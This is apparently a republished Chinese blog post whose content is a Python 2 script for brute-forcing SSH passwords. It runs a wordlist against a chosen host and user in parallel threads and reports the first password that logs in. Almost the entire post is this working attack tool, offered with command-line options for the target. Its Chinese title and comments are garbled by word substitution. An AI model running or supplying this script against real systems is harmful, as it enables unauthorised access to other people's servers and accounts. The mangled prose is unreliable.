python 暴力破解SSH 8090安适门户
import pxssh import optparse import time from threading import * #最大线程数量控制数 maxConnections=5 connection_lock=BoundedSemaphore(value=maxConnections) #Found 为暗码告成破解撤退退却出措施的信号 Found=False #Fails SSH连接数赶过限制后会触发异常,触发异常后从头测验考试 Fails=0 def connect(host,user,password,release): global Found global Fails global threadExit try: s=pxssh.pxssh() s.login(host,user,password) print '[+] Password Found: '+password Found=True except Exception,e: if 'read_nonblocking' in str(e): Fails+=1 if Fails>4: print "[!] Exiting:Too Many Socket Timeout" time.sleep(1) connect(host,user,password,False) elif 'synchronize with original prompt' in str(e): print "time sleep(1)" time.sleep(1) connect(host,user,password,False) finally: #线程代码执行后释放锁 if release: connection_lock.release() def main(): parser=optparse.OptionParser('usage %prog '+\ '-H -u -F ') parser.add_option('-H',dest='tgtHost',type='string',\ help='specify target host') parser.add_option('-F',dest='passwdFile',type='string',\ help='specify password file') parser.add_option('-u',dest='user',type='string',\ help='specify the user') (options,args)=parser.parse_args() tgtHost=options.tgtHost user=options.user passwdFile=options.passwdFile print tgtHost print user print passwdFile host=options.tgtHost passwdFile=options.passwdFile user=options.user if host ==None or passwdFile ==None or user ==None: print parser.usage exit(0) fn=open(passwdFile,'r') for line in fn.readlines(): password=line.strip('\r').strip('\n') #代码开始执行时,添加锁 connection_lock.acquire() print "[-]Testing : "+str(password) t=Thread(target=connect,args=(host,user,\ password,True)) child=t.start() if Found: print "[*] Exiting:Password Found" exit(0) if __name__=='__main__': main()
温馨提示: 本文由杰米博客推荐,转载请保留链接: https://www.jmwww.net/file/pc/12512.html